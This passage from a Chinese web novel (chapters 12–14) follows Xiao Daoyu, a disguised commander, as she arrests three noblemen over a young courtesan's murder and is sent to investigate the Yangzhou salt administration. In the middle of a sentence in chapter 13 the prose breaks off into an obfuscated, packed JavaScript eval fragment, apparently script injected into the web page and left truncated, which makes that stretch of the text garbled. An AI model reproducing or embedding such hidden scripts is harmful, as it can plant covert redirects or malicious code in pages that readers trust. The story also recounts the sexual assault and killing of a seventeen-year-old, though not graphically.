萧道煜闭上眼,胸中涌起一股暴戾的杀意。她想起那日在永安伯府寿宴上,饥民绝望的眼睛。想起荷花巷口,抱着婴儿饿死的妇人。 这世道,总是弱者受欺,良善遭殃。 凭什么? 她睁开眼,眼中金光灼灼:“死因?” “坠楼致死。”斐兰度盖上白布,“但死前曾遭扼颈、灌毒、性侵、捆绑。这不是失足,是谋杀。有人先制住他,灌了毒,让他失去反抗能力,然后扼颈,最后……” 他顿了顿,补充道:“坠楼的时间,应在子时三刻左右。那时荷花巷还未完全歇业,楼下应有行人。可顺天府的笔录里,说无人目击——这不合理。” 不合理。 那就是有人动了手脚。 萧道煜转身,看向伊凡:“昨夜听雪阁里,那三个人,什么时候离开的?” 伊凡翻开手中册子:“卢弘义、张文瑾是丑时初离开的,从后门走。陈显宗晚一些,丑时三刻才走,走的前门。” “丑时三刻?”萧道煜冷笑,“那时柳含烟已经死了。他看见尸体了吗?” “据撷芳楼的龟公说,陈公子走时神色慌张,脚步踉跄,还撞翻了门口的花盆。”伊凡低声道,“应是看见了。” 看见了,却不说。 装作无事发生,匆匆离开。 这就是永安伯府的“公子”。 这就是这世道的“贵人”。 萧道煜走到停尸台前,看着白布下那具冰冷的尸体。十七岁,少年最好的年纪,本该在江南水乡吟诗作画,却沦落风尘,受尽凌辱,最后惨死异乡。 只因为,他是罪臣之后。 只因为,他知道某些不该知道的秘密。 “柳含烟,”她轻声说,声音在阴冷的停尸房里回荡,“你放心。这笔债,我会替你讨回来。” 说完,她转身,大步走出停尸房。 萨林和伊凡连忙跟上。 走到院中,闷热扑面而来。萧道煜停下脚步,对伊凡道:“去,带黑鳞卫,把卢弘义、张文瑾、陈显宗抓来。分开关押,不许任何人探视。” “是!”伊凡应声,眼中闪过狠色。 “还有,”萧道煜补充,“把顺天府那个赵班头也‘请’来。我倒要问问,他是怎么验的尸,怎么定的‘失足’。” “是。” 伊凡快步离去。 萧道煜站在原地,仰头看着灰蒙蒙的天。热气蒸腾,连风都是黏腻的。 萨林为她撑起伞,低声道:“世子,天闷,回屋吧。” 萧道煜摇摇头,看着庭院里被晒蔫的草木。 “萨林,”她忽然问,“你说,人死后,真有轮回吗?” 萨林一怔:“卑职……不知。” “若有,”萧道煜轻声道,“我希望柳含烟下辈子,投生在一个太平盛世,平平安安过一生。” 而不是像这辈子,受尽苦难,惨死街头。 连个公道,都要别人来讨。 萨林沉默片刻,缓缓道:“世子,您为他讨公道,便是他的轮回。” 萧道煜笑了,笑意苍凉。 是啊,讨公道。 可这公道,真的讨得回吗? 杀了卢弘义、张文瑾、陈显宗,柳含烟就能活过来吗? 杀了那些贪官污吏,那些冤死的人就能安息吗? 不能。 可还是要杀。 因为不杀,这世道会更烂。 因为不杀,会有更多柳含烟。 因为不杀……她对不起自己这颗心。 哪怕这颗心,早已千疮百孔。 未时三刻,黑鳞卫出动。 二十骑玄甲铁骑,马蹄踏碎干燥的土路,如黑色洪流,分三路扑向三个方向——卢府、张府、永安伯府。 卢弘义是在自家别院被抓的。 那别院在城东,是他金屋藏娇的地方,养着几个外室。黑鳞卫破门而入时,他正搂着个穿桃红襦裙的姑娘睡觉,宿醉未醒,满身酒气。 “你们……你们干什么?!”卢弘义被从被窝里拖出来,衣衫不整,又惊又怒。 领队的黑鳞卫百户亮出腰牌:“北镇抚司办案,请卢公子走一趟。” “北镇抚司?”卢弘义脸色一变,“我犯了什么事?” “到了就知道。”百户冷冷道,“带走。” 两个黑鳞卫上前,一左一右架住他。卢弘义挣扎起来:“放开我!我爹是卢大通!我姐姐是卢贵妃!你们敢动我……” 话未说完,一记刀鞘重重砸在他后颈。卢弘义闷哼一声,软倒在地。 “废话真多。”百户摆手,“捆上,嘴堵了。” 张文瑾今日当值,正从衙门出来,准备去赴一个同僚的宴请。刚上轿,就被拦下了。 “张公子,”伊凡亲自带队,月白薄绸劲装在闷热的空气里依然整洁,“世子有请。” 张文瑾脸色一白,强作镇定:“伊佥事,这是何意?” “柳含烟案,需要张公子配合调查。”伊凡声音平静,却透着不容置疑的威压,“请吧。” “柳含烟?”张文瑾眼神闪烁,“那戏子不是失足坠楼吗?顺天府已经结案了。” “结案了,也可以重审。”伊凡淡淡道,“张公子是自己走,还是我‘请’你走?” 张文瑾看着周围十几个黑鳞卫,个个按刀肃立,眼神冰冷。他知道,今日是躲不过了。 “好,”他深吸一口气,“我跟你走。但我父亲是吏部侍郎,我要见他。” “到了北镇抚司,自然能见。”伊凡侧身,“请。” 张文瑾咬了咬牙,上了黑鳞卫的马车。 陈显宗昨夜从撷芳楼回来后,一夜未眠,躲在屋里灌了一宿的酒。天亮时刚迷糊着,就听见外面喧哗。推门一看,黑鳞卫已闯进院子。 “陈公子,”领队的是萨林,绿眸在日光里泛着冷意,“世子有请。” 陈显宗腿一软,差点跪倒在地。他扶着门框,声音发颤:“……我没犯事……” “犯没犯事,世子问过便知。”萨林上前一步,“请吧。” 陈显宗看着萨林腰间那柄弯刀,刀柄上的红宝石在日光里泛着血一样的光。 想起柳含烟坠楼时,那双绝望的眼睛。 他忽然怕了。 怕得要死。 “我……我……”他想说什么,却一个字也说不出来。 萨林不再废话,一挥手,两个黑鳞卫上前,架起他就走。 陈显宗像一滩烂泥,被拖出院子,拖上马车。经过院门时,他看见周姨娘站在廊下,脸色煞白,眼中含泪,张着嘴想喊他,却发不出声音。 他闭上眼,眼泪流下来。 完了。 全完了。 午时末,三人已被分押北镇抚司诏狱。 诏狱在地下,顺着石阶往下走,越走越凉,越走越暗。墙壁上火把跳跃,将人影投在湿漉漉的石壁上,扭曲变形,像一个个鬼魅。 卢弘义被关在最深处一间单人牢房。铁栅栏,石墙壁,地上铺着些稻草,角落里有个便桶,散发着恶臭。他进来时还在骂骂咧咧,可当铁门“哐当”关上,火把的光被隔绝在外,只剩一片黑暗时,他终于怕了。 “放我出去!”他扑到栅栏前,拼命摇晃,“我爹是卢大通!我姐姐是贵妃!你们敢关我,我姐姐不会放过你们的!” 无人应答。 只有远处隐约传来的呻吟声,像地狱里的鬼哭。 张文瑾被关在另一间牢房。他比卢弘义镇定些,进来后便坐在稻草上,闭目养神。可微微发抖的手,暴露了他内心的恐惧。 他知道柳含烟是怎么死的。 那晚在听雪阁,卢弘义发疯一样凌辱他时,他就在旁边看着。没有阻止,甚至……还有些病态的兴奋。后来柳含烟跳楼,他第一反应是怕,怕牵扯到自己。所以当卢弘义提出用银子摆平时,他默认了。 可他没想到,北镇抚司会插手。 更没想到,萧道煜会亲自过问。 那个疯子,那个在金殿上敢挥鞭碎冠的疯子,什么事做不出来? 张文瑾睁开眼,看着牢房里跳动的火光,心中一片冰凉。 陈显宗被关在最外面一间牢房。他进来后就瘫在稻草上,一动不动,像死了一样。脑海中反复回放着那晚的画面——柳含烟被撕破的衣裳,他绝望的眼睛,他纵身一跃的背影,还有……地上那摊暗红的血。 他不是主谋。 他甚至想救他。 可他没有。 因为他怕,怕卢弘义,怕张文瑾,怕得罪这些人,怕在伯府本就艰难的处境雪上加霜。 所以他就那么看着,看着一个活生生的人,被逼死。 “我不是故意的……”他喃喃自语,眼泪流下来,“我真的不是故意的……” 可眼泪,救不回人命。 也洗不清罪孽。 酉时三刻,宫门将闭。 一顶青呢小轿匆匆从西华门入宫,轿帘紧闭,抬轿的太监脚步飞快,像在躲什么。轿子在永巷里七拐八绕,最后停在一处偏殿外。 轿帘掀开,下来个女子。 约莫二 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她哭得梨花带雨,我见犹怜:“弘义虽顽劣,可绝不敢杀人啊!陛下,臣妾就这一个弟弟,若他有个三长两短,臣妾……臣妾也不活了!” 永熙帝看着她,眼中闪过一丝复杂。卢贵妃入宫三年,颇得圣宠,又生了三皇子,在后宫地位稳固。卢家也因此水涨船高,从普通盐商一跃成为皇商,掌控着江南大半盐引。 可卢家太贪了。 贪盐税,贪漕银,贪军饷……这些年弹劾卢家的折子堆起来能有一人高。他都压下了,因为需要卢家的银子——修宫殿,养军队,赏功臣,哪样不要钱? 可这次,卢弘义惹的是萧道煜。 那个疯子,那个连太上皇都敢顶撞的疯子。 “爱妃,”永熙帝叹了口气,“不是朕不救,是萧道煜那人……你也知道。他认定的事,九头牛都拉不回来。何况柳含烟案,证据确凿,确是他杀。你弟弟当时在场,脱不了干系。” “在场又如何?”卢贵妃急道,“在场就一定杀人吗?那张文瑾、陈显宗也在场,凭什么只抓弘义?” “都抓了。”永熙帝淡淡道,“三个人,一个没漏。” 卢贵妃一怔,眼中闪过慌乱。都抓了?那事情就闹大了。张家、陈家都不是省油的灯,若真查出什么…… 不,绝不能。 她咬咬牙,从袖中取出一本册子,双手奉上:“陛下,臣妾……有样东西,想献给陛下。” 永熙帝挑眉:“何物?” “是……是家父这些年在盐政上,收集的一些……账目。”卢贵妃声音发颤,“里头记录了江南盐课司近五年的收支明细,还有……一些官员收受贿赂的记录。” 永熙帝眼神一凝。 他接过册子,翻开。蝇头小楷,工工整整,记录着一笔笔账目——某年某月某日,某官员收受盐引若干,折银若干;某年某月某日,盐税亏空若干,去向不明…… 触目惊心。 这要是公开,江南官场要地震。 “爱妃这是何意?”永熙帝合上册子,声音听不出情绪。 “臣妾愿以此册,换弘义一命。”卢贵妃叩首,额头抵在冰冷的地砖上,“只要陛下开口,让萧世子放人,这册子……就是陛下的。里头牵扯的官员,任凭陛下处置。” 这是交易。 用江南盐政的腐败证据,换卢弘义的命。 永熙帝看着跪在地上的女人,心中涌起一股复杂的情绪。是厌恶?是欣赏?还是……悲哀? 厌恶她的算计,欣赏她的果决,悲哀这世道——连后宫的女人,都要用这种手段,来保住自己的亲人。 “爱妃可知,”他缓缓道,“这册子交出来,你卢家……也脱不了干系。” 卢贵妃抬起头,眼中含泪,却透着决绝:“臣妾知道。可臣妾更知道,若弘义死了,卢家也就完了。陛下,臣妾别无选择。” 别无选择。 四个字,道尽这深宫女人的悲哀。 永熙帝沉默良久。 窗外暮色沉沉,殿内烛火跳跃。冰鉴里冰块融化,发出细微的滴答声。 许久,他才开口,声音疲惫:“朕……试试。” 卢贵妃眼中迸出希望的光:“谢陛下!谢陛下!” “但朕不能保证。”永熙帝补充,“萧道煜那人……你也知道。朕的话,他未必听。” “陛下是天子,他敢不听?”卢贵妃急道。 永熙帝苦笑。 天子? 在萧道煜眼里,天子也不过是……一把更大的刀。 一把用来砍人的刀。 “你回去吧。”他摆摆手,“朕乏了。” 卢贵妃还想说什么,可看着皇帝疲惫的面容,终究没敢再开口。她叩首谢恩,起身,踉跄着退出暖阁。 殿门关上,将一室凉意,和一个孤独的帝王,关在了里面。 永熙帝靠在引枕上,看着手中那本册子。册子不厚,却重如千钧。这里面记录着江南盐政五年的龌龊,记录着无数官员的贪腐,也记录着……他这个天子的无能。 他翻开册子,看着那些触目惊心的数字。 一百万两,两百万两,三百万两…… 都是民脂民膏。 都是百姓血汗。 可这些银子,进了谁的口袋? 进了那些贪官的口袋,进了卢家的口袋,也进了……他皇宫的库房。 修宫殿,养军队,赏功臣——哪样不是用这些银子? 他和那些贪官,有什么区别? 不过是一个明着贪,一个暗着贪罢了。 永熙帝闭上眼,胸口一阵窒闷。 他想起很多年前,自己还是太子时,曾在东宫墙上题了一首诗: “愿为青帝扫阴霾,不教黎庶受饥寒。” 那时他以为,当了皇帝,就能扫清阴霾,让百姓过上好日子。 可如今呢? 阴霾未扫,黎庶依旧饥寒。 而他这个皇帝,却坐在深宫里,和贪官污吏做交易,用一条人命,换一本罪证。 何其讽刺。 何其悲哀。 窗外,夜色彻底降临。 没有星,没有月,只有无边的闷热,像一张巨大的网,将这座皇城,将这个王朝,牢牢罩住。 而网中的人,无论尊卑,无论贵贱,都在挣扎。 都在沉沦。 直到,一起毁灭。 13. 第 13 章 六月初一,大朝会。 寅时刚过,午门外已黑压压站满了文武百官。残月西斜,天色已是青灰,东方透出些微鱼肚白。盛夏的风从御道那头卷过来,温热粘稠,吹得众人冠带沉滞,袍袖纹丝不动。宫灯在凝滞的晨风里微微晃动,昏黄的光晕染开一片朦胧,照得青石板路泛着温热干燥的光。 御史周子谅站在文官队列中段,穿一身洗得发白的青缎獬豸补服,头戴五梁冠,手持象牙笏板,背脊挺得笔直如松。他已年过五旬,须发花白,面容清癯,眼角刻着深深的纹路,那是二十年御史生涯风霜留下的印记。此刻他垂着眼,盯着脚下青砖的缝隙,嘴唇紧抿,额角已沁出细汗,像一尊沉默的石像。 周围同僚或闭目养神,或低声交谈,无人与他搭话。谁都知道,这位周御史今日要奏本——弹劾扬州盐运使沈济川。那是块硬骨头,背后牵扯着江南盐政的烂账,牵扯着无数人的身家性命。这些年弹劾沈济川的折子不是没有,可哪次不是石沉大海?谁碰,谁倒霉。 周子谅却偏要碰。 不为别的,就为那句“食君之禄,忠君之事”。就为去岁扬州大水,饿殍遍野时,沈济川还在西湖画舫上宴饮,一席千金。就为那些因盐税亏空而饿死的百姓,那些被贪官污吏逼得家破人亡的良善。 他闭上眼,想起三日前收到的密信。信是匿名,字迹工整,内容却触目惊心——沈济川任盐运使五年,贪墨盐税二百余万两,其中六十万两孝敬了京中某位“贵人”,余下的或在扬州置宅买地,或存在票号生息。信末附了几笔账目,时间、地点、数目,清清楚楚。 这信来得蹊跷,可内容却与他暗中查访的线索对得上。 周子谅知道,这背后定有人操纵。是政敌?是清流?还是……那位近来风头正盛的北镇抚司镇抚使? 他不知道,也不想知道。 他只知道,这折子必须上。 哪怕粉身碎骨,也要把这脓疮捅破。 卯正二刻,宫门缓缓开启。 两队锦衣卫鱼贯而出,分列御道两侧。众官员整理衣冠,依次入宫。脚步声在空旷的宫城里回荡,整齐,沉重,像某种不祥的鼓点。晨风依旧黏热,空气中弥漫着盛夏特有的草木蒸腾气息。 周子谅走在队列中,一步一步,踏得稳当。天色渐明,晨光熹微,照在太和殿的琉璃瓦上,金碧辉煌,反射着耀目的光。那九重丹墀,那汉白玉栏杆,那铜龟铜鹤,都泛着硬朗的光泽,像这王朝的骨架,华丽,却曝晒在六月的初阳下,隐有灼人之势。 他知道,今日这场朝会,不会太平。 辰时正,钟磬齐鸣。 永熙帝端坐龙椅之上,着明黄十二章衮服,头戴十二旒冕冠。旒珠垂落,遮住了他的眉眼,只露出清俊的下颌和紧抿的唇。他今年二十有三,登基不过四载,却已有了帝王的威仪,只是那威仪底下,总透着一股与年龄不符的疲惫与深沉。殿内虽置了冰盆,暑气仍丝丝缕缕透进来。 丹墀下,百官分列,鸦雀无声。 司礼太监尖着嗓子唱道:“有本启奏,无事退朝——” 话音未落,文官队列中走出一人。 正是周子谅。 他手持笏板,步履沉稳地走到御阶前,躬身行礼:“臣,都察院御史周子谅,有本启奏。” 永熙帝微微颔首:“讲。” 周子谅直起身,目光扫过丹墀下的同僚,最后落在御座上那个模糊的身影上。他深吸一口温热的空气,声音洪亮如钟: “臣弹劾扬州盐运使沈济川,贪墨盐税,欺君罔上,残害百姓,罪大恶极!” 此言一出,满殿哗然。 虽然早有风声,可当周子谅当真在朝会上当众弹劾,还是让不少人倒吸一口凉气。沈济川是谁?扬州盐运使,掌控江南盐政五年,是太上皇当年钦点的人。弹劾他,无异于虎口拔牙。 永熙帝身子微微前倾,旒珠晃动:“周爱卿,弹劾重臣,须有实据。” “臣有实据!”周子谅从袖中取出一本奏折,双手呈上,“沈济川任盐运使五年,扬州盐税年年亏空,累计达二百三十万两!此为其一。” 他顿了顿,声音更加激愤:“其二,沈济川在扬州置宅三十六处,良田千顷,妻妾成群,生活奢靡,一餐之费不下百金!去岁扬州大水,饿殍遍野,沈济川却在西湖画舫上宴饮达旦,歌舞不休,视百姓性命如草芥!” “其三,”他声音陡然转厉,“臣查得,沈济川与盐商勾结,倒卖盐引,私设关卡,盘剥商民。更有甚者,为掩盖亏空,他竟伪造账册,欺瞒朝廷!此等行径,岂是臣子所为?岂是朝廷命官所当为?” 字字铿锵,句句见血。 殿中一片死寂,唯有殿角冰鉴化水的滴答声,清晰可闻。 周子谅的声音在空旷高阔的大殿里回荡,像一把把烧红的烙铁,砸在每个人心上。 永熙帝接过太监递上的奏折,翻开看了几眼,面色渐渐沉下来。他抬眼看向丹墀下:“沈济川何在?” 盐运使是从三品,按制该在京述职。可今日朝会,沈济川却告了病假。 户部尚书出列,躬身道:“回陛下,沈济川前日中了暑气,告假三日。” “中了暑气?”永熙帝冷笑,“倒是巧。” 他放下奏折,目光扫过殿中百官:“周御史所奏,诸位爱卿以为如何?” 无人应答。 谁都知道这是烫手山芋。沈济川背后站着谁,大家心知肚明。太上皇当年提拔的人,如今虽退了位,可余威犹在。更何况,江南盐政这潭水太深,深到谁蹚谁淹死。 永熙帝等了一会儿,见无人出声,眼中闪过一丝失望。他看向周子谅:“周爱卿,你所奏之事,关系重大。若查实,自当严惩;若查无实据……” “臣愿以项上人头担保!”周子谅跪地叩首,“若有一句虚言,甘受凌迟之刑!” 这话说得决绝,连永熙帝都怔了怔。 殿中更静了。 连呼吸声都清晰可闻。 许久,永熙帝缓缓开口:“既如此,此事便交由……” 话未说完,殿侧珠帘后忽然传来一个苍老的声音: “且慢。” 那声音不高,甚至有些虚弱,却像一道惊雷,在寂静的大殿里炸开。 百官齐齐变色。 珠帘后,是太上皇景明帝的御座。自退位后,他深居西苑,极少过问朝政,只在每月大朝会时,会坐在帘后旁听。可旁听归旁听,从不发声。今日这是……破例了。 永熙帝身子一僵,缓缓转向珠帘方向,躬身道:“父皇。” 珠帘晃动,隐约可见一个模糊的身影坐在帘后。那身影有些佝偻,声音却依然带着帝王的威严: “周御史所奏,事关重大,不可轻率。沈济川任盐运使五年,没有功劳也有苦劳。江南盐政复杂,非一两句话能说清。若仅凭几封匿名信、几笔账目,便要治一个三品大员的罪,岂不寒了天下臣工的心?” 这话说得平和,却字字诛心。 周子谅跪在地上,脸色煞白。他抬起头,看向珠帘,眼中满是不可置信。他没想到,太上皇会亲自下场,为一个贪官说话。 “父皇,”永熙帝声音平静,“周御史既敢以人头担保,想必有确凿证据。此事若不查清,如何向天下百姓交代?” “查自然要查。”太上皇淡淡道,“但不能只听一面之词。这样吧,让沈济川上折子自辩,再派个妥当的人去扬州查实。若真有罪,严惩不贷;若无罪,也好还他清白。” 派谁去? 满殿目光,不约而同地转向武官队列前列。 那里站着一个人。 萧道煜。 她今日穿了身绯色蟒袍,腰系玉带,头戴金冠,面色苍白如纸,唇色浅淡,可脊背挺得笔直,像一杆永不弯折的枪。此刻垂着眼,仿佛殿中的纷争与她无关。盛夏的朝服厚重,她额角却无汗,只有一种病态的冷白。 永熙帝也看向她,眼中闪过复杂的神色。 派萧道煜去? 那是把刀,一把锋利的刀。可这把刀,听谁的?听他的,还是听……帘后那位的? “父皇觉得,派谁去妥当?”永熙帝问,声音听不出情绪。 珠帘后沉默片刻,缓缓道:“北镇抚司镇抚使萧道煜,精明强干,屡破大案。扬州盐政,牵涉刑狱,由她查办,再合适不过。” 果然。 永熙帝心中冷笑。父皇这是要借萧道煜的手,把水搅浑?还是要借扬州这潭深水,把这把不听话的刀……折了? 他看向萧道煜:“萧卿以为如何?” 萧道煜出列,走到御阶前,躬身行礼:“臣,遵旨。” 声音平静,听不出喜怒。 永熙帝盯着她,看了很久。他想从那张苍白的脸上看出些什么——是恐惧?是抗拒?还是……跃跃欲试? 可他什么也看不出来。 那张脸像一面冰封的湖,平静,深邃,望不到底。 “既如此,”永熙帝缓缓开口,“朕命你为钦差大臣,即日南下扬州,彻查盐政一案。赐尚方宝剑,遇事可先斩后奏。” 先斩后奏。 四个字,重如千钧。 这是信任,也是试探。是放权,也是……将她推上风口浪尖。 萧道煜跪地叩首:“臣,领旨谢恩。” 她磕头时,额头触地,发出沉闷的响声。起身时,身子微晃,显是跪得久了,腹中旧疾又发作了。可她很快站稳,面色如常。 只有离得近的伊凡看见,她起身时,指尖在微微发抖,额际沁出细密的冷汗。 珠帘后,太上皇的声音再次响起:“萧卿此去,当秉公执法,勿枉勿纵。江南官场,盘根错节,牵一发而动全身。查案归查案,莫要……牵连太广。” 这话说得意味深长。 是在提醒她适可而止?还是在警告她别碰某些人? 萧道煜垂首:“臣,谨记。” 永熙帝摆摆手:“退朝吧。” 司礼太监高唱:“退朝——” 百官依次退出大殿,殿外的热浪扑面而来,与殿内的阴凉形成鲜明对比。 周子谅走在最后,脚步有些踉跄。他回头看了一眼,御座上,永熙帝已起身离去;珠帘后,那个模糊的身影也消失了。只有空荡荡的大殿,和渐渐散去的檀香气,混合着冰水融化的微腥。 他忽然觉得一阵闷热,透不过气来。 这朝堂,比他想象的,更黑,更深,更让人窒息。 退朝后,永熙帝没有回乾清宫,而是去了西苑。 西苑在宫城西北角,原是皇家园林,太上皇退位后便移居于此。园中亭台楼阁,小桥流水,古木参天,浓荫匝地,景致极佳,可不知怎的,总透着一股暮气,像迟暮的美人,再精致的妆容也掩不住衰败。六月的园林本该生机勃勃,此处却奇异地安静,只有蝉鸣聒噪,更显沉闷。 永熙帝走在青石小径上,身后只跟着两个心腹太监。园中静得可怕,只有风吹过竹林的沙沙声,和远处隐约的钟磬声。浓荫遮住了烈日,却带来了另一种湿闷。 他想起很多年前,自己还是太子时,常来西苑给父皇请安。那时父皇还未老,会牵着他的手,在园中散步,指着满园花草说:“皇儿你看,这江山就像这园子,要勤修剪,勤打理,才能枝繁叶茂。” 可如今,父皇老了,园子也荒了,虽花木依旧,魂却散了。 而他这个皇帝,却要在这荒园里,与自己的父亲,争夺修剪江山的权力。 何其悲哀。 走到暖阁外,太监通报:“陛下到——” 门开了,一股浓重的药味混合着沉闷的热气扑面而来。暖阁里为了太上皇的病体,竟还留着些微地龙余温,更显窒闷。太上皇靠在榻上,身上盖着薄毯,手里握着手炉——六月的天,他仍觉冷——面色蜡黄,眼窝深陷,显是病得不轻。 可那双眼睛,依然锐利如鹰。 “皇帝来了。”他开口,声音沙哑。 永熙帝躬身行礼:“儿臣给父皇请安。” “坐吧。”太上皇摆摆手,屏退左右。 等屋里只剩父子二人,他才缓缓道:“今日朝会,皇帝做得很好。” 这话说得没头没尾,永熙帝却听懂了。父皇是在说,他同意派萧道煜去扬州,是“很好”的决定。 “父皇过誉。”永熙帝垂着眼,“萧道煜虽能干,可毕竟年轻,儿臣担心她……” “担心她压不住江南那帮老狐狸?”太上皇笑了,笑意未达眼底,“皇帝多虑了。萧道煜那孩子,看着冷,心里却热。她最恨贪官污吏,最见不得百姓受苦。派她去,正合适。” 他顿了顿,补充道:“况且,她身子不好,活不长了。这样的人,用起来才放心。” 用起来放心。 因为将死之人,无欲无求,只剩一颗赤忱之心——或者,一颗复仇之心。 永熙帝心中一寒。 父皇这话,是在提醒他,萧道煜不过是把刀,用完了,就该扔了。 可他不舍得。 那把刀太好用了。锋利,忠诚,更重要的是——只听他的。 “父皇,”他试探着问,“扬州盐政,牵涉甚广。若真查起来,只怕……” “只怕牵扯到不该牵扯的人?”太上皇接话,眼神冰冷,“皇帝,你要记住,这江山是你的。贪官污吏,该杀就杀,该抓就抓。不必顾忌。” 不必顾忌。 包括……那些曾经效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许久,萧道煜才开口,声音带着疲惫的沙哑:“都准备好了?” “是。”伊凡应道,“黑鳞卫抽调五十人,明日辰时出发。沿途驿站已打点好,扬州那边也传了信,北镇抚司的人会在码头接应。” 萧道煜点点头,放下书卷,揉了揉眉心。腹中的疼痛又开始了,像有只手在里头绞。她咬紧牙关,强忍着,从药瓶里倒出两粒药丸,和水吞下。 药很苦,苦得她皱眉。 斐兰度说,这药能缓解疼痛,但不能根治。她的病,根子在心上——是多年郁结,是身份撕裂,是这吃人世道的压迫。 心药? 这世上哪有治她这病的心药? 除非……把这世道掀了。 可她能掀得动吗? 一个将死之人,一个不男不女的怪物,一个活在谎言里的傀儡。 凭什么? 凭这身官袍?凭这把尚方宝剑?还是凭……那一腔不甘? 萧道煜笑了,笑意苍凉。 “伊凡,”她忽然问,“你说,我这次去扬州,能活着回来吗?” 伊凡浑身一震,抬起头,眼中闪过痛楚:“世子何出此言?” “随口问问。”萧道煜看向他,“若我回不来,你当如何?” 伊凡跪地,叩首:“臣说过,世子在,臣在。世子死,臣绝不独活。” “傻话。”萧道煜摇头,“我要你活着。替我看着,看这江山最后会落到谁手里,看那些吃人的人,最后会是什么下场。” 她顿了顿,轻声道:“若有可能……替我给柳含烟上柱香。告诉她,害她的人,我一个都不会放过。” “是。”伊凡声音哽咽。 萧道煜站起身,走到窗前,推开窗。沉闷的热风灌进来,吹不散满室药气,反而带来更多躁意。她看着窗外沉沉的夜色,许久,才缓缓道: “伊凡,萨林。” “臣在。”两人齐声应道。 “这次去扬州,凶多吉少。”萧道煜转身,看着他们,琥珀金色的眼睛在烛光里流动,像熔化的金子,“太上皇要我查,皇帝也要我查,可他们要我查的,不是一回事。我要查的,又是另一回事。” 她顿了顿,一字一顿:“所以,这一路,你们要打起十二分精神。不该吃的不吃,不该喝的不喝,不该信的……一个字也别信。” “是!”萨林按刀,绿眸中闪过杀意。 伊凡也重重点头。 萧道煜看着他们,眼中闪过一丝暖意。这闷热难当的人世,终究还有两个肯为她赴死的人。 够了。 “去吧。”她摆摆手,“明日还要赶路,早些歇息。” 萨林和伊凡躬身退下。 屋里又只剩萧道煜一人。 她走到梳妆台前,看着铜镜里的自己。镜中的人面色苍白,眉眼冷峻,穿着一身男装,像个俊美的少年郎。可她知道,那不是她。 真正的她,是玉娘。 是那个本该穿着罗裙,簪着珠花,在江南水乡泛舟采莲的女子。 可那个玉娘,早在二十年前就死了。 死在母亲李氏将她扮作男儿的那一夜。 死在“阳关三叠”的毒药里。 死在一次次束胸缠腰的痛楚与闷热中。 如今活着的,是萧道煜。 是一把刀,一个傀儡,一场悲剧。 窗外,更夫的梆子声远远传来,穿透沉闷的夜: “天干物燥,小心火烛——” 三更天了。 萧道煜吹灭灯,和衣躺在榻上。夏夜的闷热让她呼吸微促,腹部的疼痛也未曾减轻。 黑暗中,她睁着眼,看着头顶的帐幔。 眼前浮现许多画面——周子谅跪地叩首时花白的头发,太上皇珠帘后模糊的身影,永熙帝那深不可测的眼神…… 还有扬州。 烟花之地,纸醉金迷,……吃人不吐骨头的地方。 她知道,这一去,是龙潭虎穴。 是生死劫。 可她必须去。 为了柳含烟,为了那些冤死的人,为了……心里那点还未熄灭的火。 哪怕那火,会将她焚成灰烬。 她闭上眼,轻声道: “玉娘,别怕。” “这次,我们一起去。” “生一起生,死……一起死。” 窗外,夏夜的风终于带来一丝凉意,蝉鸣却依旧聒噪。 14. 第 14 章 诏狱的气味,陈显宗这一生都忘不了了。 那是霉烂稻草与铁锈混杂的浊气,又掺着经年累月渗进石缝的血腥,还有某种难以言喻的腐臭——像久不见天日的肉慢慢溃烂,丝丝缕缕钻入鼻腔,粘在衣衫上,渗进骨头缝里。甬道两壁插着的火把,焰心透着幽蓝,将人影拉得鬼魅般细长,在湿漉漉的石板上扭曲颤动。偶尔从深处传来嘶哑的呻吟,声如钝刀刮着朽木,听得人牙根发酸。 陈显宗被单独关在一间狭小的囚室。四壁无窗,只在头顶三尺高处凿了一方铁栅,漏下些许灰蒙蒙的天光——那光也像是被这牢狱的浊气浸透了,混着飘浮的尘絮,惨淡得可怜。地上铺着的稻草早已湿透,角落里蜷着一坨黑乎乎的物事,辨不清是粪便还是呕出的秽物。他缩在墙根,背抵着冰冷刺骨的石头,浑身抖得如秋风里的枯叶,牙齿磕碰的“咯咯”声,在死寂中格外清晰。 不知过了多久,也许是一炷香,也许是一个时辰。铁门“哐啷”一声洞开,声响在甬道里撞出瘆人的回音。两名狱卒面无表情地将他拖出囚室,胳膊被铁钳般的手攥得生疼。他踉跄着穿过曲曲折折的暗道,火把光影在脸上明明灭灭,壁上刑具的影子张牙舞爪。终于来到一处稍显敞亮的刑房。 这刑房却比囚室更令人胆寒。六月初的闷热在此处化为凝滞的阴湿,血腥气混着皮肉焦糊味,沉甸甸地压在胸口。房中悬着各式刑具:乌黑油亮的夹棍,烧得暗红的烙铁,还有一排排钢钩在火光下泛着冷森森的光。正中一张宽大的酸枝木案,案后坐着一个人。 那人一身玄色蟒袍,肩绣金线螭纹,正懒懒靠在太师椅上。右手支颐,指尖漫不经心拨弄着一枚鎏金嵌宝的匕首鞘。烛火摇曳,映出一张昳丽近妖的面容——肤色苍白如冷瓷,唇色却绯艳如涂朱,一双罕见的琥珀金瞳,此刻正淡淡扫过来,目光所及之处,空气都似乎凝滞了。 陈显宗膝盖一软,“扑通”跪倒在地,额头重重抵上冰凉的石板。寒气透过皮肤直钻进脑髓,他却连求饶的话都说不囫囵,只从喉咙里挤出破碎的字句: “世、世子爷……小的冤枉……那夜、那夜只是吃酒……” “卢弘义灌了他三杯‘春风度’,你可瞧见了?”萧道煜开口,声音不高,却像冬日檐下悬的冰锥子,一字一字直直钉进人心里。 “看、看见了……”陈显宗冷汗涔涔而下,浸湿了里衣的后背,“可卢兄他、他平日里也爱玩笑……小的以为、以为只是寻常助兴的酒……” “张文瑾提议‘醒酒’,你也听见了?” 这话问得轻飘飘的,陈显宗却如遭雷击。他听见了,非但听见,还隐约觉得不妥。那时雅间内酒气熏天,丝竹靡靡,柳含烟已醉得脚步虚浮,眼波迷离。张文瑾扶着他胳膊,凑在卢弘义耳边低语了几句,两人便相视一笑。陈显宗那时也半醉,怀里揣着卢弘义刚塞过来的一锭银子,沉甸甸的坠着衣襟。他张了张嘴,想说“夜深了,不如送柳老板回去”,话到嘴边,却化作含糊的应和。夜风吹起柳含烟杏色的衣角,像断翅的蝶。 